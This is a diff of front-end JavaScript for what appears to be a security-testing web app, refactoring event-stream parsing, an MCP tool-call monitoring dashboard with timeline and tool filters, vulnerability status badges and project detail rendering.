handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('task-events parse', e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
||||||
buffer += decoder.decode();
|
buffer += decoder.decode();
|
||||||
if (buffer.trim()) {
|
if (buffer.trim()) {
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
for (let li = 0; li < lines.length; li++) {
|
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||||
const line = lines[li];
|
|
||||||
if (line.indexOf('data: ') === 0) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('task-events parse', e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
||||||
clearCsTaskReplay();
|
clearCsTaskReplay();
|
||||||
@@ -2921,7 +3043,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
|
|||||||
const pre = section.querySelector('pre.tool-result');
|
const pre = section.querySelector('pre.tool-result');
|
||||||
if (pre) {
|
if (pre) {
|
||||||
pre.classList.remove('tool-result-pending');
|
pre.classList.remove('tool-result-pending');
|
||||||
|
flushStreamPlainTextUpdate(pre);
|
||||||
pre.textContent = text;
|
pre.textContent = text;
|
||||||
|
resetStreamPlainTextState(pre);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (data.executionId) {
|
if (data.executionId) {
|
||||||
@@ -3521,9 +3645,10 @@ async function applyMonitorFilters() {
|
|||||||
const statusFilter = document.getElementById('monitor-status-filter');
|
const statusFilter = document.getElementById('monitor-status-filter');
|
||||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||||
const status = statusFilter ? statusFilter.value : 'all';
|
const status = statusFilter ? statusFilter.value : 'all';
|
||||||
const tool = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
const toolRaw = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||||
|
const tool = toolRaw === 'all' ? 'all' : canonicalMonitorToolName(toolRaw);
|
||||||
if (toolFilter) {
|
if (toolFilter) {
|
||||||
toolFilter.classList.toggle('is-filter-active', tool !== 'all');
|
toolFilter.classList.toggle('is-filter-active', toolRaw !== 'all');
|
||||||
}
|
}
|
||||||
// 当筛选条件改变时,从后端重新获取数据
|
// 当筛选条件改变时,从后端重新获取数据
|
||||||
await refreshMonitorPanelWithFilter(status, tool);
|
await refreshMonitorPanelWithFilter(status, tool);
|
||||||
@@ -3855,7 +3980,9 @@ async function setMcpMonitorTimelineRange(range) {
|
|||||||
monitorState.timeline = timelineJson;
|
monitorState.timeline = timelineJson;
|
||||||
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
||||||
if (timelineInner) {
|
if (timelineInner) {
|
||||||
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError);
|
const combined = timelineInner.closest('.mcp-stats-combined');
|
||||||
|
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
|
||||||
|
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
|
||||||
bindMcpStatsTimelineEvents();
|
bindMcpStatsTimelineEvents();
|
||||||
syncMcpMonitorTimelineRangeUI(range);
|
syncMcpMonitorTimelineRangeUI(range);
|
||||||
} else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) {
|
} else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) {
|
||||||
@@ -3865,7 +3992,9 @@ async function setMcpMonitorTimelineRange(range) {
|
|||||||
monitorState.timelineError = err.message || 'error';
|
monitorState.timelineError = err.message || 'error';
|
||||||
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
|
||||||
if (timelineInner) {
|
if (timelineInner) {
|
||||||
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError);
|
const combined = timelineInner.closest('.mcp-stats-combined');
|
||||||
|
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
|
||||||
|
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
|
||||||
bindMcpStatsTimelineEvents();
|
bindMcpStatsTimelineEvents();
|
||||||
syncMcpMonitorTimelineRangeUI(range);
|
syncMcpMonitorTimelineRangeUI(range);
|
||||||
}
|
}
|
||||||
@@ -3883,7 +4012,21 @@ function renderMcpStatsTimelineRangeButtons() {
|
|||||||
}).join('');
|
}).join('');
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderMcpStatsTimelineBody(timeline, timelineError) {
|
const MCP_TIMELINE_EMPTY_ICON = '<svg class="mcp-stats-timeline-empty-state__icon" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="22 12 18 12 15 21 9 3 6 12 2 12"/></svg>';
|
||||||
|
|
||||||
|
function renderMcpStatsTimelineEmptyState(compact) {
|
||||||
|
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period');
|
||||||
|
const emptyHint = mcpMonitorT('timelineEmptyHint')
|
||||||
|
|| monitorFallback('切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具', 'Switch the time range or invoke MCP tools in chat or tasks');
|
||||||
|
const compactClass = compact ? ' mcp-stats-timeline-empty-state--compact' : '';
|
||||||
|
return `<div class="mcp-stats-timeline-empty-state${compactClass}">
|
||||||
|
${MCP_TIMELINE_EMPTY_ICON}
|
||||||
|
<p class="mcp-stats-timeline-empty-state__title">${escapeHtml(noData)}</p>
|
||||||
|
<p class="mcp-stats-timeline-empty-state__hint">${escapeHtml(emptyHint)}</p>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderMcpStatsTimelineBody(timeline, timelineError, compactEmpty) {
|
||||||
const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined');
|
const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined');
|
||||||
|
|
||||||
if (timelineError) {
|
if (timelineError) {
|
||||||
@@ -3898,8 +4041,7 @@ function renderMcpStatsTimelineBody(timeline, timelineError) {
|
|||||||
|| `区间内 ${summaryTotal} 次 · 峰值 ${peak}`;
|
|| `区间内 ${summaryTotal} 次 · 峰值 ${peak}`;
|
||||||
|
|
||||||
if (points.length === 0 || summaryTotal === 0) {
|
if (points.length === 0 || summaryTotal === 0) {
|
||||||
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period');
|
return renderMcpStatsTimelineEmptyState(!!compactEmpty);
|
||||||
return `<p class="mcp-stats-timeline-empty">${escapeHtml(noData)}</p>`;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const rangeKey = timeline.range || getMcpMonitorTimelineRange();
|
const rangeKey = timeline.range || getMcpMonitorTimelineRange();
|
||||||
@@ -3930,9 +4072,10 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
|||||||
|
|
||||||
if (!hasTools && !showTimeline) return '';
|
if (!hasTools && !showTimeline) return '';
|
||||||
|
|
||||||
|
const filterChipLabel = activeToolFilter ? formatMonitorToolName(activeToolFilter) : '';
|
||||||
const filterChip = activeToolFilter
|
const filterChip = activeToolFilter
|
||||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: activeToolFilter }) || activeToolFilter)}">
|
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: filterChipLabel }) || filterChipLabel)}">
|
||||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: activeToolFilter }) || `已筛选:${activeToolFilter}`)}</span>
|
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: filterChipLabel }) || `已筛选:${filterChipLabel}`)}</span>
|
||||||
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
||||||
</span>`
|
</span>`
|
||||||
: '';
|
: '';
|
||||||
@@ -3951,7 +4094,7 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
|||||||
const timelineCol = showTimeline
|
const timelineCol = showTimeline
|
||||||
? `<div class="mcp-stats-combined__timeline">
|
? `<div class="mcp-stats-combined__timeline">
|
||||||
<p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p>
|
<p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p>
|
||||||
<div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError)}</div>
|
<div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError, hasTools)}</div>
|
||||||
</div>`
|
</div>`
|
||||||
: '';
|
: '';
|
||||||
|
|
||||||
@@ -4372,7 +4515,7 @@ function updateMonitorStatsSubtitle(lastFetchedAt, toolCount) {
|
|||||||
function filterMonitorByTool(toolName) {
|
function filterMonitorByTool(toolName) {
|
||||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||||
if (!toolFilter || !toolName) return;
|
if (!toolFilter || !toolName) return;
|
||||||
toolFilter.value = toolName;
|
toolFilter.value = formatMonitorToolName(toolName);
|
||||||
toolFilter.classList.add('is-filter-active');
|
toolFilter.classList.add('is-filter-active');
|
||||||
applyMonitorFilters();
|
applyMonitorFilters();
|
||||||
const execSection = document.querySelector('.monitor-executions');
|
const execSection = document.querySelector('.monitor-executions');
|
||||||
@@ -4504,7 +4647,8 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
|||||||
|
|
||||||
let rowsHtml = '';
|
let rowsHtml = '';
|
||||||
topTools.forEach((tool, index) => {
|
topTools.forEach((tool, index) => {
|
||||||
const name = tool.toolName || unknownToolLabel;
|
const rawName = tool.toolName || unknownToolLabel;
|
||||||
|
const name = formatMonitorToolName(rawName);
|
||||||
const total = tool.totalCalls || 0;
|
const total = tool.totalCalls || 0;
|
||||||
const success = tool.successCalls || 0;
|
const success = tool.successCalls || 0;
|
||||||
const failed = tool.failedCalls || 0;
|
const failed = tool.failedCalls || 0;
|
||||||
@@ -4512,14 +4656,14 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
|||||||
const toolRate = toolRateNum.toFixed(1);
|
const toolRate = toolRateNum.toFixed(1);
|
||||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||||
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||||
const isActive = activeToolFilter && activeToolFilter === name;
|
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||||
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
||||||
rowsHtml += `
|
rowsHtml += `
|
||||||
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(name)}"
|
data-tool-name="${escapeHtml(rawName)}"
|
||||||
tabindex="0"
|
tabindex="0"
|
||||||
role="button"
|
role="button"
|
||||||
aria-label="${escapeHtml(rowAria)}"
|
aria-label="${escapeHtml(rowAria)}"
|
||||||
@@ -4568,14 +4712,15 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
||||||
|
|
||||||
const stackedHtml = segments.map((s) => {
|
const stackedHtml = segments.map((s) => {
|
||||||
const isActive = !s.isOthers && activeToolFilter && activeToolFilter === s.name;
|
const isActive = !s.isOthers && activeToolFilter && monitorToolNamesEqual(activeToolFilter, s.name);
|
||||||
const title = `${s.name} · ${s.pct}% · ${s.calls}`;
|
const displayName = s.isOthers ? s.name : formatMonitorToolName(s.name);
|
||||||
|
const title = `${displayName} · ${s.pct}% · ${s.calls}`;
|
||||||
if (s.isOthers) {
|
if (s.isOthers) {
|
||||||
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
||||||
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
||||||
}
|
}
|
||||||
const segAria = mcpMonitorT('distSegmentAria', { name: s.name, pct: s.pct, calls: s.calls })
|
const segAria = mcpMonitorT('distSegmentAria', { name: displayName, pct: s.pct, calls: s.calls })
|
||||||
|| `${s.name},占 ${s.pct}%,${s.calls} 次`;
|
|| `${displayName},占 ${s.pct}%,${s.calls} 次`;
|
||||||
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
||||||
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
||||||
@@ -4584,7 +4729,8 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
|
|
||||||
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
||||||
const listHtml = topTools.map((tool, index) => {
|
const listHtml = topTools.map((tool, index) => {
|
||||||
const name = tool.toolName || unknownToolLabel;
|
const rawName = tool.toolName || unknownToolLabel;
|
||||||
|
const name = formatMonitorToolName(rawName);
|
||||||
const total = tool.totalCalls || 0;
|
const total = tool.totalCalls || 0;
|
||||||
const success = tool.successCalls || 0;
|
const success = tool.successCalls || 0;
|
||||||
const failed = tool.failedCalls || 0;
|
const failed = tool.failedCalls || 0;
|
||||||
@@ -4593,7 +4739,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||||
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||||
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
||||||
const isActive = activeToolFilter && activeToolFilter === name;
|
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||||
@@ -4602,7 +4748,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
||||||
: '';
|
: '';
|
||||||
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(name)}" tabindex="0" role="button"
|
data-tool-name="${escapeHtml(rawName)}" tabindex="0" role="button"
|
||||||
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
||||||
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
||||||
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
||||||
@@ -4762,7 +4908,8 @@ function renderMonitorStats(statsMap = {}, lastFetchedAt = null) {
|
|||||||
.sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0))
|
.sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0))
|
||||||
.slice(0, MCP_STATS_TOP_N);
|
.slice(0, MCP_STATS_TOP_N);
|
||||||
|
|
||||||
const showCombined = showTimeline || topTools.length > 0;
|
const hasAnyCalls = totals.total > 0;
|
||||||
|
const showCombined = hasAnyCalls && (topTools.length > 0 || showTimeline);
|
||||||
const html = `
|
const html = `
|
||||||
<div class="mcp-exec-stats">
|
<div class="mcp-exec-stats">
|
||||||
${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)}
|
${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)}
|
||||||
@@ -4836,7 +4983,7 @@ function renderMonitorExecutions(executions = [], statusFilter = 'all') {
|
|||||||
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
||||||
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
||||||
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
||||||
const toolName = escapeHtml(exec.toolName || unknownToolLabel);
|
const toolName = escapeHtml(formatMonitorToolName(exec.toolName) || unknownToolLabel);
|
||||||
const rawExecId = exec.id || '';
|
const rawExecId = exec.id || '';
|
||||||
const executionId = escapeHtml(rawExecId);
|
const executionId = escapeHtml(rawExecId);
|
||||||
const terminateBtn = status === 'running'
|
const terminateBtn = status === 'running'
|
||||||
|
|||||||
+297
-110
@@ -5,12 +5,15 @@ let projectsCache = [];
|
|||||||
let projectsCacheAll = [];
|
let projectsCacheAll = [];
|
||||||
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
|
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
|
||||||
let currentProjectId = null;
|
let currentProjectId = null;
|
||||||
|
let currentProjectUpdatedAt = null;
|
||||||
let currentProjectTab = 'facts';
|
let currentProjectTab = 'facts';
|
||||||
const projectNameById = {};
|
const projectNameById = {};
|
||||||
let _projectsListReady = false;
|
let _projectsListReady = false;
|
||||||
let _projectsFetchPromise = null;
|
let _projectsFetchPromise = null;
|
||||||
|
|
||||||
const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId';
|
const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId';
|
||||||
|
const PROJECT_DESCRIPTION_MAX_LENGTH = 4000;
|
||||||
|
const PROJECT_NAME_MAX_LENGTH = 200;
|
||||||
|
|
||||||
function tp(key, opts) {
|
function tp(key, opts) {
|
||||||
if (typeof window.t === 'function') return window.t(key, opts);
|
if (typeof window.t === 'function') return window.t(key, opts);
|
||||||
@@ -304,23 +307,9 @@ function prefetchProjectsForChat() {
|
|||||||
ensureProjectsLoaded().catch(() => {});
|
ensureProjectsLoaded().catch(() => {});
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 新对话时:保留有效 activeProjectId,否则默认选中第一个进行中的项目 */
|
/** 新对话时默认不绑定项目;用户需主动选择后才写入共享黑板 */
|
||||||
async function ensureDefaultActiveProjectForNewChat() {
|
async function ensureDefaultActiveProjectForNewChat() {
|
||||||
try {
|
setActiveProjectId('');
|
||||||
await ensureProjectsLoaded();
|
|
||||||
const cur = getActiveProjectId();
|
|
||||||
if (cur && isActiveChatProjectId(cur)) return cur;
|
|
||||||
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
|
||||||
const first =
|
|
||||||
source.find((p) => p.pinned && p.status !== 'archived') ||
|
|
||||||
source.find((p) => p.status !== 'archived');
|
|
||||||
if (first) {
|
|
||||||
setActiveProjectId(first.id);
|
|
||||||
return first.id;
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
console.warn(e);
|
|
||||||
}
|
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -343,7 +332,9 @@ async function initProjectsPage() {
|
|||||||
const page = document.getElementById('page-projects');
|
const page = document.getElementById('page-projects');
|
||||||
if (!page || page.style.display === 'none') return;
|
if (!page || page.style.display === 'none') return;
|
||||||
initProjectsModalEscape();
|
initProjectsModalEscape();
|
||||||
syncProjectsModalBodyLock();
|
if (typeof syncAppModalBodyLock === 'function') {
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
}
|
||||||
updateProjectsDetailVisibility();
|
updateProjectsDetailVisibility();
|
||||||
projectsListPagination.pageSize = getProjectsListPageSize();
|
projectsListPagination.pageSize = getProjectsListPageSize();
|
||||||
renderProjectsPagination();
|
renderProjectsPagination();
|
||||||
@@ -463,9 +454,10 @@ function formatVulnStatusBadge(status) {
|
|||||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||||
fixed: 'vulnerabilityPage.statusFixed',
|
fixed: 'vulnerabilityPage.statusFixed',
|
||||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||||
|
ignored: 'vulnerabilityPage.statusIgnored',
|
||||||
};
|
};
|
||||||
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
||||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open';
|
const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
|
||||||
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,11 +602,41 @@ function renderProjectsSidebar() {
|
|||||||
<div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div>
|
<div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div>
|
||||||
<div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div>
|
<div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div>
|
||||||
</div>
|
</div>
|
||||||
|
<button type="button" class="projects-list-item-menu" title="${escapeHtml(tp('projects.projectActions'))}" aria-label="${escapeHtml(tp('projects.projectActions'))}" onclick="showProjectListActionMenu(event, '${escapeHtml(p.id)}')">⋯</button>
|
||||||
</div>`;
|
</div>`;
|
||||||
}).join('');
|
}).join('');
|
||||||
updateProjectsDetailVisibility();
|
updateProjectsDetailVisibility();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function clampProjectDescription(text) {
|
||||||
|
const s = (text || '').trim();
|
||||||
|
if (s.length <= PROJECT_DESCRIPTION_MAX_LENGTH) return s;
|
||||||
|
return s.slice(0, PROJECT_DESCRIPTION_MAX_LENGTH);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailTitle(name) {
|
||||||
|
const titleEl = document.getElementById('projects-detail-title');
|
||||||
|
if (!titleEl) return;
|
||||||
|
const text = (name || '').trim() || tp('projects.defaultProjectName');
|
||||||
|
titleEl.textContent = text;
|
||||||
|
titleEl.title = text;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailDesc(desc) {
|
||||||
|
const descEl = document.getElementById('projects-detail-desc');
|
||||||
|
if (!descEl) return;
|
||||||
|
const text = (desc || '').trim();
|
||||||
|
if (!text) {
|
||||||
|
descEl.hidden = true;
|
||||||
|
descEl.textContent = '';
|
||||||
|
descEl.removeAttribute('title');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
descEl.textContent = text;
|
||||||
|
descEl.title = text;
|
||||||
|
descEl.hidden = false;
|
||||||
|
}
|
||||||
|
|
||||||
function updateProjectStatusPill(status) {
|
function updateProjectStatusPill(status) {
|
||||||
const el = document.getElementById('projects-detail-status');
|
const el = document.getElementById('projects-detail-status');
|
||||||
if (!el) return;
|
if (!el) return;
|
||||||
@@ -623,6 +645,24 @@ function updateProjectStatusPill(status) {
|
|||||||
el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active');
|
el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailMeta(updatedAt) {
|
||||||
|
const metaEl = document.getElementById('projects-detail-meta');
|
||||||
|
if (!metaEl) return;
|
||||||
|
const time = formatProjectTime(updatedAt);
|
||||||
|
metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${time}`, { time });
|
||||||
|
}
|
||||||
|
|
||||||
|
function refreshProjectDetailMetaI18n() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
let updatedAt = currentProjectUpdatedAt;
|
||||||
|
if (updatedAt == null) {
|
||||||
|
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||||
|
const p = source.find((x) => x.id === currentProjectId);
|
||||||
|
updatedAt = p?.updated_at;
|
||||||
|
}
|
||||||
|
renderProjectDetailMeta(updatedAt);
|
||||||
|
}
|
||||||
|
|
||||||
function updateProjectStats(stats) {
|
function updateProjectStats(stats) {
|
||||||
const s = stats || {};
|
const s = stats || {};
|
||||||
const f = document.getElementById('project-stat-facts');
|
const f = document.getElementById('project-stat-facts');
|
||||||
@@ -668,8 +708,7 @@ async function selectProject(id) {
|
|||||||
const res = await apiFetch(`/api/projects/${id}`);
|
const res = await apiFetch(`/api/projects/${id}`);
|
||||||
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
||||||
const p = await res.json();
|
const p = await res.json();
|
||||||
const titleEl = document.getElementById('projects-detail-title');
|
renderProjectDetailTitle(p.name);
|
||||||
if (titleEl) titleEl.textContent = p.name || tp('projects.defaultProjectName');
|
|
||||||
document.getElementById('project-edit-name').value = p.name || '';
|
document.getElementById('project-edit-name').value = p.name || '';
|
||||||
document.getElementById('project-edit-description').value = p.description || '';
|
document.getElementById('project-edit-description').value = p.description || '';
|
||||||
document.getElementById('project-edit-scope').value = p.scope_json || '';
|
document.getElementById('project-edit-scope').value = p.scope_json || '';
|
||||||
@@ -678,19 +717,9 @@ async function selectProject(id) {
|
|||||||
const pinEl = document.getElementById('project-edit-pinned');
|
const pinEl = document.getElementById('project-edit-pinned');
|
||||||
if (pinEl) pinEl.checked = !!p.pinned;
|
if (pinEl) pinEl.checked = !!p.pinned;
|
||||||
